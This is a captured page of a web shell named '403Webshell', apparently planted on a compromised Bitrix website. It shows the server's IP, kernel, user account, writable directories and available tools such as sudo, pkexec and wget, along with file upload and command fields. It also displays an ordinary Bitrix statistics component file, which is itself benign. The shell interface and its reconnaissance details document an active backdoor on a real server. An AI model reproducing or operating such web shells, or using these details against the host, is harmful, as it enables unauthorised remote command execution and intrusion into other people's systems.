403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/idea.statistic/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/idea.statistic/component.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

if (!CModule::IncludeModule("blog"))
{
	ShowError(GetMessage("BLOG_MODULE_NOT_INSTALL"));
	return;
}

if (!CModule::IncludeModule('idea'))
{
	ShowError(GetMessage("IDEA_MODULE_NOT_INSTALL"));
	return;
}

if($arParams["BLOG_URL"] == '')
	return;

$arResult = array();

$obCache = new CPHPCache;
$life_time = 60*60*24; //1 day
$cache_id = 'idea_statistic_list_'.$arParams["BLOG_URL"];
$cache_path = '/'.SITE_ID.'/idea/statistic_list/';

if($obCache->StartDataCache($life_time, $cache_id, $cache_path))
{
		$arResult = CIdeaManagment::getInstance()->Idea()->GetStatusList();

		if($arCurBlog = CBlog::GetByUrl($arParams["BLOG_URL"]))
		{
			$dbPosts = CBlogPost::GetList(
				array(),
				array(
					"BLOG_ID" => $arCurBlog["ID"],
					"PUBLISH_STATUS" => BLOG_PUBLISH_STATUS_PUBLISH,
				),
				false,
				false,
				array("ID", "UF_STATUS")
			);

			while ($arPost = $dbPosts->Fetch())
			{
				$ufStatus = (int) $arPost["UF_STATUS"];
				if ($ufStatus && !isset($arResult[$ufStatus]))
				{
					continue;
				}

				$arResult[$ufStatus]["CNT"]++;
			}
		}

		$obCache->EndDataCache($arResult);
}
else
	$arResult = $obCache->GetVars();

$this->IncludeComponentTemplate();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit